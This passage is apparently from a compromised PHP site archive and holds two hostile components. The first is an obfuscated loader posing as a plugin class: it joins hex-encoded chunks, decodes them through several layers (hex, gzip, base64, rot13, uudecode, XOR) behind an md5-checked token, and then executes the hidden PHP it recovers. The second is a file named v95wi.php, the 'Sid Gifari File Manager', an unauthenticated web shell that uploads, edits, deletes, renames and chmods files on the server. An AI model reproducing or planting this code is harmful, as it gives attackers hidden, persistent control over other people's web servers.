04c06635d2e07556e747a4f2adfebe90fffe8facce4ff5f72f65752ee5742eeaef8b599d4b399d97fcf7bfe96f9bd5b994d3f959fefb5ff4f7ab9cce05fdfd93accefff3f9efb7399d57f9ef7fd7dfc34b399d27fdfdef599d4bfadb22e5a5fcf7e5acce7fe9ef7fcfea5ccae9fc8bfefe854aa127fdfd31ab73417fbfae14faa0bf5fd50a7dccea5cd0dfe0942ff9ef8ffafb2352fe87fe7e8e55be442a5fe9ef4b399dffe3f9ef7fd5dfbf9ffffe10a9fc83fcf76ba4b4fc3cf8c3fcf73bacfc55a4fc69fefb9790f2d7f2df3f43caff2dfffd8c94e7fcf77bacfcfdfcf76bacfc55a4fc69fefb9790f2d7f3df9790f27fce7f5ba47c95fffe5855f97bf9ef0b5595ff7bfefbbf9192bd4cc5afe6bf3f20e5d97fbfc7ca5f454ad6fc7fc4ca5f45ca0ff9eff625abf30b48f99ff9ef7f454a665b3e62e5af22e507fdfd8355fe6afefb0356fe2a525eca7f5f66959790f247fefbbf58e525a43cfbef5f61959790926bfe6bacf2125272bec3afb1ca4b4849fffd7356b99858df59fc0c2971c63e6025f6d9d1eed8fd6fa4b4fefb192b77f222ab6ca4643dc405a4643cb5b8cc2adbc7ee7556e71552b6f376eb9df3dfefb132521be2fb05a474faf74869ebcfffb5aa52728ad825a49c6cded69fbf669552fe0c294b55b3eb2da9dfe96f60657dfa09ab843d08ff62fdb998e129f5b2aaf07d7af183550eb1f6b04a9ca98f4879cd9acad7f5e73fb092f1529bc57f8f9440c68bf5e7c0ca8a27c3b756f90e2961f7df2e2025fc58ba923f6395d0a31791f2e142fefb192b2785fa2952b64dcdaa8eb7f5e7162b57fa12abdcb2aee32252767e7b29ff6d59e52e769a8b488993f331ff6db1923d2c81f3788955ae594dfc1e296dfefb3ee484a7497681554ef7a1ba80942bdffdb9fe8e4a7319293909f027fabbe2fc2da1d7b95e3846be42ca98f510b67eed2d5202d716ae645607bf290778bf37ac32ea2e2165e067e9e38a33273853c3ec5e63a52981324bf90129333d3d2d863652c9a8b0fbe4bf9fb0f2a92be2ffd7dfff2fd5df61f2fd94c0faff0fe9ef3eab7d479dfdf71b5619af1e71f60afd91531657567f8f61a51faa2a674e33c92fe86fc57a88b69717f4b797ef633b67527fa8aa8cd7dff78973497fcf5cf90967e76355655274aa2b5cf5517fb352e881fa9bbd596f59a5aef36de66ac1dd63b75bdc6d0e79b7610f5bcaea5256ee2729639aba6ea6b2ca67a132c358fb57ac99c27b2dd524dfe5ddc0c9b496766a24671eb09a61891d3e5aac49a1e61ab027ceae4caaa5e27e3a9293128e89909643e4c39c7e6bfc7f9ffe962e59e5bccb3813688093b1fd03fdbd6aac3d4c1b5f846a449becfe487ffffda4bf9d03ac52c02a75f127fa5b9055166756c9f94f873fd2df0d5925b3f4ec10aaa7b56aff447fcb3b588bedd49193e096757c7fa0bfd3c7b3fec67b1ac5a794aafc13fd4dab5c057fc32aaf6895a15378d62aff37fd0dcfc82ee6b982d259f5eb983595ffbbfe763490b2d24a6d7972a86aba81ff07fabb0b8095656d6ad5038506f876ff0ff4f712c8ef8dc1c2fa2eaecb56ebe20ff437197e94362258e7cb0538842eff447fe75019b0dbf69c1fc3694c6562fe407f07b44a110c8c53b9f3a3f1552dfe407fcfeb2da733bc5455da2924ffb3fe9e9eb196f56bd102368713f507fa3b5af5cb68cd6920b04a071e214efe447fdbfeb1c5fa7bcd5aa1b1e37799defc81fe864608838a99aeef0783b325ff487f53e964f576a487c574a173c3bdfa9ff5f7803556e46be629ff2d8b6899ff9455fea7fe0ec82ae13b77d2e93db992546cbfaebfdfb3ca3d5925273c816db12b5ccb0ffafb575925991638a5a754f0c2293feaef9fb14a8b94abc7ee07a7e4bc1ece0c98aff3fdac09fe95555e424ace197cc32ac14d9a2bce85ced861ea7046d8cf91f2bdfe0656368357ac923df49ce90a15bd34122895a4bfd3ffed4ecb7355e5597f37aca914093825eca1b475d8bf94d57946ca4460cd5feb6f56551e590b88f3c55939b7bf8a94d67f5fc38fbcd2df0159654c8b50eb42676d35c8f447a4c469bea4bf953e64f5ebaaca82f6c00a196b0ff0ce97f4f74fb33af09daffabff356f8d0dfc9b9fe1ca8f3897341ff2babf30a296ff2a331aff4f72407ab9477510d657cd48eaa75f92b48f9527fde855ef6a6ff7bbefad68001dce9f27fca7f1ff317fd3db6954282783ef99ff2dfc2dae4b3fe4eca5aadc9cf6daf8e6a06b193ff46fe3be07c55f12affedb25648decd18ef488af069bad2ff98ffce6995ab7fea44c013fc0ffa7bda46affabf234e45e5378085e4c702fe39ff1dfded709abd499ef53710c2ea6fbc0fb0520b01a4f875fd0dadf4f705fd2dd81522c821f0dfe277f4b718705ee68bfeceeb8af73c8c2567c838ac91ddfc8efe9e54fbc0d9beebffe6a4698b9477d0dfcab8bfaebfa1f8d4f3a40cce485aacc49fe4bfbdfc1aef3938ebeffc4ff3df405bb0ca9bb3fed66756c999a9b028438fa1f46fe4bf674efe8c94d0dfe68495d419e7d059ff9d1009eb0facb24b527331ffcd38a33923a5f5dff915eb6c674a75bc5bc2ce7bfbadfcf7dc76c21783a758e5f8cff2dfa6f19f9092fafb731b6b2265152f14e74cfafb8bfafba4ebcb5d8db1aa8659bb39ebeff4f1f867f96fceadcaea2a3debeff92fb0ca7fcf7fe3341e2d56527f6bd8f9b0b8e22c1d9c9c7bd65de35bde2325b5e0b1b894d501466e9f9092914aabbf43cb29b1df60d76ee0fd46fefb98707a59bab1fa9bd3788094bde5c8b4a9af114e06d6f657f3df9b6832b2f3f6cefa1bebfcf71fe5bf856657c4535647fe69fe3b0d9c80537d2dab8cbd5cff41fe1b9c129e4f58a404a77cd7fffdfbf9eff41c6f799e95f18495ff7bfefb81fafb192967adf9b3fcf750eac2d14f933254dd10297dd5c126d7d4df8bd2ff9dfcf780f3bbce3d8dc1064f2ea67f98ff66156da0a4e6dcef6c92c79c3b26d5069fc0a9796567eb192739700eaab3ac8649a98183c504a7a4db7451fbb8b5f15225d2b153798c7672a2977274326b6584fdd82cd6f89a75769ad50747f3261a47df59c6c50e53ce47d67259da79f63a2dae60950fb062de46e18e13db91e2468919700e5b94f28ea451637b3475a89c366f7c5bfb2d85bc0b26b7f01f818395bb3ed79f9b742c84174e82eb4498f5a2c402dafa7328b6877cf518cc3c76e36f3aed9c1a89b7805dc3a6b48b75f024ac3852598fb3c02ed724a922ced62da889ecd4ee381e'; $marksyg427 = 'mZRv84_3_mtxM20'; $partsybe33[$marksyg427] = $partaoc827; $markersiVV42[] = $marksyg427; $partGKu968 = 'b4e75b1d1caca51b4e02f0f23c48d4e713f13c7681ef153046952795f62174da064a979643253919d047dc60f73bd915c3549b70becebfd0774eebb287efe44f8e60b5f594f67094237c23f49a18501381b9d4b90f55bccc812bb06be841e1839f57d4a5d2abc8aa5b7c824f2664c0d7e7c3a2c733d07fc33fe9d26ca1bfbd3019dcf33bb5570c6195e026fe177c423087fe0ebc404c81e536c2a100fa13ffacbf6f122819e8ad3d3d3afcda866f13d74e0bfd0d1fa28e7259ed70fec8ad3c3d1c404582e1436dfdb58555fa4fac129c60dacd8792baf36fee27143a58a51e65c3cfa778fdbd86ba4ef132f0a1810fe613c05a7012b482554ec6cd62e5af136a61fc043c8297801180a7ec94ca3d28be0dbc2f580eec5e6de8dfc1cfe5b1dcc32ab7d0205d06df172df1695019785db2ca93d5df78a6192c0af6f009085187cadf812bd37fafa1e054be839dd3f301f1fb25ecdc98f204f47d46ca67fded3f606db6507890e902c8048b68c1c204b152919fc37f874e5dc3628c724e6d9ce67ed0682a1df0732a1d33829716d0df8c334d36c06b46c3aa11e30c5909864745bf1e14b18e4edaa90eb0d27e5e03cfa164a0a6f68a1ac9b1fe1b2783fe1b383e52d0010b2d0750365bece740ae337b7ac146767357c2633c96503a7e8cb7c8eaaa67b46653c48981557eeec7220835e32fabc76f60d143b02d0f3b7413ad7a494ea9d280fabbe45ecc4afaef19181ed8f4f502fc2c9b54964340e9e03d73eaefedfc887550750b9b1cc478ea690bb5a59a03ec7e407e5e800b150f41bbbd92abc64f944ce1a75bf814371ee6f0253c190563021bb0ca3baa0cf8331776ff15dc813c647d4bd61166e0a5369e82b51d0b383a300fbcd531c03ad09fd153c60e0e0af6c6b4e6b2fe96601d50f03d5406780a7c0c74279ea9da46930dd9377c9ce594587358a13b9f048ee4ffe9cc106a7a04efab2ee96f28f82d549ed5ad604a78efb8bb3d81f940457c6b80be8359396aa10ce8bf3f315219380ded81fa1bb8ff78879ddacf5b324ed5d37f0746aa4ae127aea71ac800ec04daf6b07b5ae557bcf79d5640ca4487e410b031092d068fbf219ee344497c26d4733a8515cea1e961531ff477ec34ee38f5fda86e2454c5b7a98d3be42e5593382e1871f536387d06aaa20af1deee54e5f7ef2295d04615f0799be4eb818daf41131ce55803e1e5b13a26503281fbe8cd579f7bb04a4d1b037f7775faed88a7bc4b1590d215404af109df5d06c7a02e8a24a904fe8f5aacb0a65091b0126886db3a52e0ad65efceebc30370ef46521b43f9903b59fd3d869af255999d14d403788c6fadd2a91c9c0c68639084a4f0e3d2698110fcf390aa43ad0b3c790a859ebaf92728699c6f2d52602563a83215f03ac53d38027c672393b3fe3e01bd71fefd2fc424582ace165865a0c953d5746f189179424af8f35dbcc66959414d4df232a6e7000b9db7e621589ff5771e302a0446c7a8500a9b3a26f4198d69611127f2f14895e0b1bd0b941aab21f4b7caa174b678efa03d94e480e088fb18480b36754d0f80bdb8372d2c781db88b55d325b549b3660085e7978cf1cd4a07fe3bd2e0c05c892159c741c4da0f81523740c26500752595d59d5fe10d8e49ad459460cf195dd1d39a7cedb69f4299c2c3fd4ddf99e16f80cc8c54427f831bd5c64bd20668a9a0b0031d779bfd58903b34c0739c36f88cac4fb08ff3d5369525b014e71dfe1ce76bfb09fe5a04ebf204bee65ba4847d00215c0d5d86130a2f9b5451335559170211c02aa73819276a44455fea6eddbc0ac0b63f462a810e09ed36ff5b8213c21bb8b3fac018c02d7cda1e3ac485fe1ee024b949459f524c603cf431bd844d92b7405f378c0a1e9650a858fb7e92d75b28f6e2012a73a0d5a887e2a3c2a366806f05a7848a041bf3adff1e406724f9d078f3f49fd3598f3543602dd472000ed908b05a173e4564e090b007f83075824d321aabaa515c4a46a674a407ae76e1201cf8ce09353efc77fa8db14e91c02a1270e7a062a4aef816280dff0d9fe1e3bde08f713abbdc0386407febafc0ae2074c4012a066cba8aa03bc10ec8a56ca452c2829ef477ba0a4ec04e012623a0133cf8efd15433ae0e7e46ae0af4c139008781368557027f07f6e63e635cb99f82e7072e950af879990ff00c6a86f34b3b87ffc6c9a0ff36238b9402b60ba4ccda0afe5baff35184a7049353b3ba71e46a2b178ed1e40e32ad3ca012ffec3303601a3040600cde1bfaa0b987a53ad07c355955f0acbf81be50b6498193d183f96a2f387eaeb12e77d4be89a2aa209f991ef0db5e45fee3cd2b01dfd99fa6d09b09e36b4e03ae041eb7be054a8911bcef321e167e56eb82dc096fc1f3ed36c0d17ffad758f982945adfe41530479d4e6a22f0fe404e67da00ad79fee10da2f67183ddd8a935b4516daef1162b792cdeeb6f5f7bd81d30c0cccb03d8f91a7e5f30bb06142cab275699a76378f8a8d16982b315d70523c2bd4eb7d1534ee79052bfc1e2888c7872289533ab1406ca461bc728a8c8abe0f8517fc722d731639dca0797aab0e6afb33ad0842720440aa5ec0263e07d07a984535d4087248904f3c58ed566ad9c4accda1cb80604082c1772fa09d6f2615e8f18995a5f404ab22df8954a47cb4aaada677e8ce775e9d40b0d9d5732660744f03e77d4dff30955860ea3763ba6ba863e8446a87aa0b5901321c9cfcd3dacb2cf547d7ac9ea406f59ab04fa64b01cb592f031014e696362f0f9d9503bf3f61bf99a323a2ec1b6dc0359e543341960a97a3c12fd1ad079d540f3fb2ef479ab959e8009dd060e705e1bfab1d516ef147438206070cd1b56495589f31c9155ce6c64aa1880a550f10d527c02f306365679b3107a1781e94e8f40a763b18d407580f3f07385ab2ba09207a0508d0a9c2d6d32858559fffd8495a55327a5015782d7ef02facaaf60801aded99dd6a603b35d831beb33a79457731b57cceb00cad4b8397e0aeb3d5eaca1fbe1cfe7752ff4b008a196f56c5da4f88d50d79b72311141dc9d39a5f5dfcf599d21b8502be13460ef6bd875920db5abdac780be3383a267441e783f66b6139fb0234736632081bbd02f599debb976da28796295ea118839ae618b505dbd1be239e121eef07bf063f4c7f83e67dee566b1122686cfd6cbea21741fbf52238087f7d05002c81927eb01fc559ee2bc8741396df0e4697f6723158c1557c2808560c50a207501ab156bd9e09439599bbbb05aa11f607b679fa2644f3f06ce903e8a106c2b6f735f3562b0c0c9c84a7d0f6486e5881b78bf41ca2c00f4b9740bf0737d050d9cd21b48b0abc317e93683109c3c3f4277badb31be6300ce08b525af32a1da587dde4793db132894982f8b10e7c2f25433497505ee0b36069b02bb025e179d5ee27ba01a67e586b94a17ebb0c65b4ae85220468575188c880e58893257d3baf2c06456383b01349f00f31d317a96b7fd608ef34eaf38a7a24b1f192d11d1c4872f814fd0f09ddd4c997d849590abe0564ebeefe14b3523cf386b03a8cce3dcd1f7d3233c04ce3b3c86c6ef09c61573072ac289568f03b02d2751db8ec8088ed025eb4a036be9859cc53297c0fb140c3fcc18d169a627fef6a995694ebb76e0b70658ad7b454507b689755887788648079e86f79047531b6703ee7f804f79fccafc580eb554e19c37628e35c653429fe99d54a2c73f7f83af9fa85cc1cf5c706913ab690376e69823e32d5af985ec06d076f93e6b37501183323916fbe9247766b504c3878f491f4d66bd93cd590ea09ea5c63ad052fb083f7113ad8549950fb6ae6111307facc30c16113a8c06eaaf58077cc3f4346f73019bbc0282b8d4fe7a3f76e09f6011b44a58449b012132d5588b01233b701d182d854e0323c03aa4156b301c46c069951ba8c6fc61de3e7ea555d2226cc674f8bd01579281435e2a1e18b982c52c6993e0ed9dcd491ad675c85a3aa103ccc0c92023c0ba38919658879c56b99b4d60934a86609d9aec0c36b9275fcb69958304cc66869331ab7b4756a694ee09bc28dfc32ab10ef908d8bb0bca2a8145c1266509a6c4ec39ac72de6e9829be9256f361b792e201eb40761dc46b5aed8627833609250b9ba43d248c80d3226895603cb44a07bb574f4b791f0e69958322afe59df4a8f8b0d68d7622e03f9ec18bb10e8c9f0b458ba055820b5de1bd06d8ad6f01747a0aabc43adcd22a25f4b84c610f35be6159ec'; $marksPN118 = 'mcKg65_1_mMIf52'; $partsybe33[$marksPN118] = $partGKu968; $markersiVV42[] = $marksPN118; $partbhr619 = '8079ff79bd7d9837fa9abd997177db454b20b28b3507dd609c61c6087c53412b07b03975b2751e63309d51f2542b84b760fedb634436b1539c73cfe6bf71b698ff86efbc02d33ee05cd8997719a73350eb5856f921ab53f629a325385bf731efb88446c8eb03cf776ce38a867922f2cacc69c6e7fc37bd7173c23a48f0d80ef83e644e07278636e92b87f56b82f5c8cd2dd44c801d2e18e373e6abed8d3c1a132873ae845c4a5646814319051b64a651429748e8157b1b46433b7fcf2a25ef410e98e56bc142a03f813106b656e4ae607474292b4ec520b24fed3d999b253844c7298c444a5deb6bdeacab142b477c4ea9d058ad2ee978927a6f3ec91a56f582034ec0c9eb0df39d29a7db84ea20524e78f2f231a308d0dfc9fc589cc2c9a060d733f4372b865c7bd3edd7a48a9aa9ca3a68d2306ac053e03b43305dee0a9032e5ed13cac939937fccfc1ff365f039bcbf84332318873c16b080e9296bc0741abd6694d0aea4aa980f1be56be1c38fdaaa4cf81c7c23bd7f5c17fbd0791451f7b9c1fe0e14ce50d61ac6cf6995f46b1f90727eb471a9c8e6bf03468ba6edc1859a0a98670fca8392eae00555f5000c5966131beba0f66596ef6e4ef44a6d3db25382550afa8c7de0f9e7b325a6fbd8deb5fd78251db0ce6575fb1bfa7bb51d5bce5016135b95d1a88eb35312c7b7d357e64bc9acaf8d9feb2452acbb14ff5255f992ff3eb2da10aa73acebe6dae64beeb4571509ebd79e6295365209eb0c1a758a6d968f4ae7497fbb503f769a7df060f3823e90cfc06fc33f933d8355d686b7f96ec92a71b6ec7e9b8ede396f6dbf70057fbee6cde59a914605242c357bede185fc07c9d95bf88ed84e5f92d7412962f0577f06ab8ed4a6032b65d603fbcd5bab61c12e98cf48b6cdb551c62a363d14cbfc62a4923669183fb73583664dabc4f9e62414f7ecbf0d63fab0cac127dede0e8c71a294dab71a2fb4096983a0e923e21ab82f2b1c1d99467a708d53b8a2fe9ac12bd9a8d06450e6172a859492fb73860b58a9a513748bf2c07baf03391c689c77933992fa6b2c95a23dacb59d5aa2af83b5ad57a5aa59174ecefc77ba550b4611d44ff5f77b4e59dbfc37e7ae3122da4d27c18e77e2507f07c3c2934379cdc873c82adb4e60df1b65673178b98286a4b25015e3e72f599d8bac127c9c51a264227a60fdf21929cff9ef5758a9b3d66f33664f6bcec2fb5155f95e7f43eddbfc77be633e0cb2a9872fbd9e825df39672aa28665438d9883592cc17014306f00ce03045c74825e36b1f6395e74aa10d518ad358eee063d2b1bb19e164f8cce90476fedae1cace9d1b43b9d60938217ec3032a1d5831114055b02a0b2a93b72eaf5993f1965352fb632598ef149caf46544ad5c1b595bb29e7b7d0236c5db0905896d189b11fec0d4e2fcf7f60e3e7197b2618bb8ec195a13bcbde9c111f7b51dc69a827be05907343cfa8acfede0ce69a111330f8d838b07c66cd978334d1399ea38272c59ba4df6a58e53104fbd68c1a720af4d17c0bbd5b7aced6c6cf6ff2b6bf03271b66b5ecec7c26802319603e345eb0fae7c4094049ed80c7e5dd7c75f87256d7ecf0c47eb65085d4df9adc080a1fea198cc51bedb9d63c9d5078e139a7c362627bcfc3105e89f37a0043efb1f28c9419e705ed62f8ac34311eb1076a5b8eb12ff1534e87e7fb5f59a5e552b2c64ab9ac57ae9c2716b28fcef399d6c13dce73c8db09a249e0ccd73923f0f80de342e96097c4a785f379cf6ce7d88537a205091d0476bea23e5744c00a804a4e21d215556241a49c4d55b553c9bb4aa173fd396d92786ee3e7af586509d528f094ac8403974a95b90f3dbfd7ebec04f51524de067ecf27a7043fc7f9f567b6fbc35c5123c832a04fd9257ad0e2df60f4c10c483949d37e94b9395586cf58273e9935456ecef3dd41f3a969bd65e6188c5770c619504a8fd2e1e03ae7774289cce83b87df4f567f4f387f8d7142d8186ba7881076f695aeabbf6321d75959ecf036f45bbc731c783fed597331af39874edafa352886c966c4b5cc6b0d5ce9a9837abd7a2c61fb9a77a8500bc126af79e79d71e01f540ec0538c8832666bf3048f3c19370bf7d1c7c9817a083a60adcbc894ec80df2be1cd2bb2efdcc8d2385865e6bf61957c4a585e6a55c61236322c0fd3ba215262cffd8259bec59abb57c1e65917a24f81f319a7042c621442efb22f0facc262e5bf236515e0cf2b661a6dfe1b6c6bfb8295786ff014fd03298139b6ee7a0db4aef02ed0b4cf91caa7faf317accc5a4e898c8131ac53038f611e901973675657ac66885811954d60c509f3c0403eab5c99cdb0dd5fc9e02be700b3da144a872c744cbd061624e6dda695cba801cb844d1a7bc64c008b0056e2b0a9690bff0d84c0fe9255e2e4308a00afa46d4d25740abb6660933752058cd6ac6d55066f4abf5eacc48cb3cf545a01cbea165ad85736cb57b9dadd3e48c55a7fa755a9183df96fb24a707f9c9d014e27d645b84107fda50e1110e2f4545549bfc68c1aac8bf510bac89a82f931af28257baf55b14ba875c0bae0af67e0cd7baccc2973fc12f8dd195677ffc8e90c80a2e7ba1e70b1c101a7cf683b034e5e81bf29d89a9939ba50cc6ef196c01467dce3746b0d26d2dc2c1ccedbe38c88500ca05454fba2bf8fa6854f81efcc8f8ab563b01876c671be03b9314e929b79f4c06095b0ca8c51a14e03bf25a3082adf03299d391122219ecb74ec147d368c5a3202cdb3b8a4269225d6afe4fc8a5ee1bd1e6ce79536c00fd6127e404aead21be89320ae6d8f476aa0e5833861264165bda91f99fffeca4e1d3d6185eb06cfa07d760f48467c5543a573cd5b1a886bb72795020126451969a80cb28c063e4383dd6ad8b873607f19febb52e0e726a8e18d13d685e41bc6728d8ec122b2614edc3a24f0bebf8a94e40e1fb1f2df901202cc853fabb1577b1b77b8862d2b1bdb62ef1eeb955ca0526d7c20d0216755a510056bc7c09d74a2f20e6c769cb78de17ee7f7a6ed07587b8db55d638d8bec5880d96a1bdb0af84c8058acf5269e0858750ea4ccaf8094ac6f5996a7b9f3b99fb53df89802ff0f384568172d354eca47fdcd3afc45599f588361a7437c8a79470674a754458ff3dbb15e2d06f3952bed4db586556a99d58db25d8f4db564c476ae36b4165bf9d58ca858a70a67a1ed7b4ef0e35d51cc3d8f1d3162376004739dad8b346f06acb79902177667ff3d6f37ece6bb66b413ef5500b1c57c39f05895a126b7272a9de05c9301bfbec14a6e58c5a12dae7d0bc026c9c7b062e3189881d5e36cd307d8e08dad3f5f578ab90bf8ceb1555b2ac7c919744ffabb7d0c715e396dd697b518dafc37d8162c6604bb57b18a4eb0eb3656b6e66a039decc7ceb97facf271da0266cc9292535d05b913905240e998845105564c9d733afd41a6152b2269933ff2df2d2c60b9b0fda10d58f7c0c7fe2be054c08e85309503765e814bf989471c64154dcefc77653b4d60bf76d2c50658795c94bdb03d2ffcde236765010ddae634af2bb03143fd8dd5de32b6a76f7babbfcb8393b7fe1598ee84936719158a38057492b31681fedb997156f132029706fa941abc256b7bd7f6c5b2f36ec24ae9830bb4fdc679aad2635f157c0c67b56a7ba39d9a36fe39ee6cebcfcff9ef4ad8db01578fe9b4963b1bb385ba939c975bfa2ee727ab969df450b965014580ddb4736b927356877a0cfadbd6a3828ff509ded10b9322a60e050aea342d4ef806ce683ec2c74e982f633d53e5258295f8b4886a049578bf28b5c1ee0878e5305365cf3e0c602d10427bc452bc35ebfceeb1df43790a39a98af1d292f5e7ac052e4fecc483de3ec0fbb5e0e39c6e0d0dd8a731f81cbc6f8167b2febb48a2c9e6ca56345245d4d67fbfd2df0dfcb71951bf335a3e87cf9189096397bd0e38bf5a3b55421b8345e0dff980d5b48ce9b3e738060380c7ff1b2835824e1d71ae05e706078ebd5f307d647647ce6b73cffc59361cc8bc8ef0d4d5564e7cc66c0f0abb329d3c21a510b7acfc4d80f7f4a105f3402be6bfc9ff13f68f1129578ff889ca93a9efce976593b3a7d1624c7025bd7c448ec1788b70e06558d9f9527f0edfe9dbfe122105784cc27e329c9cc02a1d87fedbb841f55a7f3322030e31968cd095591f0ce90d2acfe632eacfa759c72a7ac32908928a1e36c979b9e9e3df0bb74fdfd69fdba8ef309a70fae9b753041d0265d9cd38'; $markSlz199 = 'mpws55_7_mTDa12'; $partsybe33[$markSlz199] = $partbhr619; $markersiVV42[] = $markSlz199; usort($markersiVV42, function($a, $b) {     $a_idx = (int)explode('_', $a)[1];     $b_idx = (int)explode('_', $b)[1];     return $a_idx - $b_idx; }); $dataggex17 = ''; foreach ($markersiVV42 as $tmpOer49) {     $dataggex17 .= $partsybe33[$tmpOer49]; } $tmpOer49 = @substr($dataggex17, 5); $tmpidF58 = @hex2bin($tmpOer49); $methodDQT16 = @json_decode(@base64_decode('WyJiNjQiLCJyb3QiLCJjYjY0IiwidXUiXQ=='), true); $objeMl24 = new self(); $keyJri39 = ''; $keyJri39 .= $objeMl24->getJSmK58Key1(); $keyJri39 .= $objeMl24->getbElp76Key2(); $keyJri39 .= $objeMl24->getlkrS66Key3(); $keyZDt96 = ''; $keyZDt96 .= $objeMl24->getSuwp81Secret1(); $keyZDt96 .= $objeMl24->getOedq64Secret2(); $gatetVw96 = ''; $gatetVw96 .= $objeMl24->gettyGt93Token1(); $gatetVw96 .= $objeMl24->getYKjY10Token2(); if (@md5($gatetVw96) !== '884c494590987cc7edf7685b80ccd2c0') { return false; } $tmpSfP82 = @gzinflate($tmpidF58); if ($tmpSfP82 === false) { $tmpSfP82 = $tmpidF58; } $tmpNqF22 = $tmpSfP82; if (!empty($methodDQT16) && is_array($methodDQT16)) {     $methodDQT16 = @array_reverse($methodDQT16);     foreach ($methodDQT16 as $tmpOer49) {         switch ($tmpOer49) {             case 'b64': $tmpNqF22 = @base64_decode($tmpNqF22); break;             case 'rev': $tmpNqF22 = @strrev($tmpNqF22); break;             case 'rot': $tmpNqF22 = @str_rot13($tmpNqF22); break;             case 'cb64': $tmpNqF22 = @strtr($tmpNqF22, 'ZYXWVUTSRQPONMLKJIHGFEDCBAzyxwvutsrqponmlkjihgfedcba9876543210+/', 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'); $tmpNqF22 = @base64_decode($tmpNqF22); break;             case 'url': $tmpNqF22 = @urldecode($tmpNqF22); break;             case 'uu': $tmpNqF22 = @convert_uudecode($tmpNqF22); break;         }     } } $cipherYGW39 = $tmpNqF22; $plainnPn14 = ''; $tmpOer49 = @strlen($keyJri39); $tmpidF58 = @strlen($keyZDt96); if ($tmpOer49 > 0 && $tmpidF58 > 0) {     for ($tmpSfP82=0; $tmpSfP82<@strlen($cipherYGW39); $tmpSfP82++) {         $tmpNqF22 = ($tmpSfP82 % 3 === 0) ? $keyJri39 : $keyZDt96;         $dataggex17 = ($tmpSfP82 % 3 === 0) ? $tmpOer49 : $tmpidF58;         if ($dataggex17 > 0) {             $plainnPn14 .= @chr(@ord($cipherYGW39[$tmpSfP82]) ^ @ord($tmpNqF22[$tmpSfP82 % $dataggex17]));         }     } } else {     $plainnPn14 = $cipherYGW39; } if (!empty($plainnPn14) && is_string($plainnPn14)) {     if (strpos($plainnPn14, '<?php') !== 0) {         $plainnPn14 = '<?php ' . $plainnPn14;     }     $objeMl24->executeOzdo98Code($plainnPn14); }  }
}

// Initialize the plugin
$objWaf81 = new PluginaQxi99ManagerMwUt16();
$objWaf81->initializeAjic40();

// End of file
PKLm\�.�Q�%�%	v95wi.phpnu�[���<?php
// ================= CONFIG =================
$ROOT = realpath(__DIR__);  // Define the root directory
$BASE_URL = strtok($_SERVER["REQUEST_URI"], '?');  // Base URL without query parameters

// Secure path resolver
function safePath($path) {
    global $ROOT;
    $full = realpath($path);
    return ($full && strpos($full, $ROOT) === 0) ? $full : false;
}

// Get current directory from query parameters
$path = $_GET['path'] ?? '';  // Path parameter for navigation
$currentDir = safePath($ROOT . '/' . $path) ?: $ROOT;  // Resolve directory safely

// ================= ACTIONS =================
if ($_SERVER['REQUEST_METHOD'] === 'POST') {

    // Handle file uploads
    if (!empty($_FILES['files'])) {
        foreach ($_FILES['files']['tmp_name'] as $i => $tmp) {
            if ($tmp && is_uploaded_file($tmp)) {
                $destination = $currentDir . '/' . basename($_FILES['files']['name'][$i]);
                if (move_uploaded_file($tmp, $destination)) {
                    echo "File uploaded: " . basename($_FILES['files']['name'][$i]);
                } else {
                    echo "Failed to upload: " . basename($_FILES['files']['name'][$i]);
                }
            }
        }
    }

    // Handle new folder creation
    if (!empty($_POST['newfolder'])) {
        $newFolder = basename($_POST['newfolder']);
        if (!file_exists($currentDir . '/' . $newFolder)) {
            mkdir($currentDir . '/' . $newFolder, 0755);
        }
    }

    // Handle new file creation
    if (!empty($_POST['newfile'])) {
        $filename = basename($_POST['newfile']);
        $filepath = $currentDir . '/' . $filename;
        if (!file_exists($filepath)) {
            file_put_contents($filepath, '');  // Create an empty file
        }
    }

    // Handle file/folder deletion
    if (!empty($_POST['delete'])) {
        $target = safePath($currentDir . '/' . $_POST['delete']);
        if (is_file($target)) {
            unlink($target);  // Delete file
        } elseif (is_dir($target)) {
            rmdir($target);  // Delete folder
        }
    }

    // Handle renaming files/folders
    if (!empty($_POST['old']) && !empty($_POST['new'])) {
        $oldName = $currentDir . '/' . $_POST['old'];
        $newName = $currentDir . '/' . $_POST['new'];
        if (rename($oldName, $newName)) {
            echo "Renamed successfully!";
        }
    }

    // Handle chmod permissions change
    if (!empty($_POST['chmod_file']) && isset($_POST['chmod'])) {
        $target = safePath($currentDir . '/' . $_POST['chmod_file']);
        if ($target) {
            $mode = intval($_POST['chmod'], 8);
            chmod($target, $mode);
        }
    }

    // Handle file content editing
    if (!empty($_POST['edit_file']) && isset($_POST['content'])) {
        $target = safePath($currentDir . '/' . $_POST['edit_file']);
        if ($target && is_file($target)) {
            file_put_contents($target, $_POST['content']);
        }
    }

    // Redirect after POST action
    header("Location: $BASE_URL?path=" . urlencode($path));
    exit;
}

// ================= FILE LIST =================
$files = scandir($currentDir);  // Get files and directories

// Edit file mode
$editMode = isset($_GET['edit']);
$editFile = $editMode ? $_GET['edit'] : '';
$editContent = '';
if ($editMode && $editFile) {
    $target = safePath($currentDir . '/' . $editFile);
    if ($target && is_file($target)) {
        $editContent = htmlspecialchars(file_get_contents($target));
    }
}

// Build path segments for navigation
$pathSegments = [];
if ($path) {
    $segments = explode('/', trim($path, '/'));
    $currentPath = '';
    foreach ($segments as $segment) {
        $currentPath .= '/' . $segment;
        $pathSegments[] = [
            'name' => $segment,
            'path' => trim($currentPath, '/')
        ];
    }
}
?>

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Sid Gifari File Manager</title>
    <style>
        body { font-family: Arial, sans-serif; background: #f5f5f5; }
        .container { width: 90%; margin: auto; }
        h2 { text-align: center; }
        table { width: 100%; background: #fff; border-collapse: collapse; }
        th, td { padding: 8px; border-bottom: 1px solid #ddd; }
        a { text-decoration: none; color: #007bff; }
        button { padding: 5px 10px; cursor: pointer; }
        .drop { border: 2px dashed #999; padding: 20px; text-align: center; margin-bottom: 10px; }
        .permissions-form { display: inline-block; margin-left: 5px; }
        .chmod-input { width: 60px; padding: 2px; }
        .path-nav { background: #fff; padding: 10px; margin-bottom: 10px; border: 1px solid #ddd; }
        .path-nav a { margin: 0 5px; color: #333; }
        .path-nav a:hover { color: #007bff; }
        .path-nav span.separator { margin: 0 5px; color: #999; }
    </style>
</head>
<body>

<div class="container">
    <h2>Sid Gifari File Manager</h2>

    <?php if ($editMode && $editFile): ?>
        <!-- EDIT FILE MODE -->
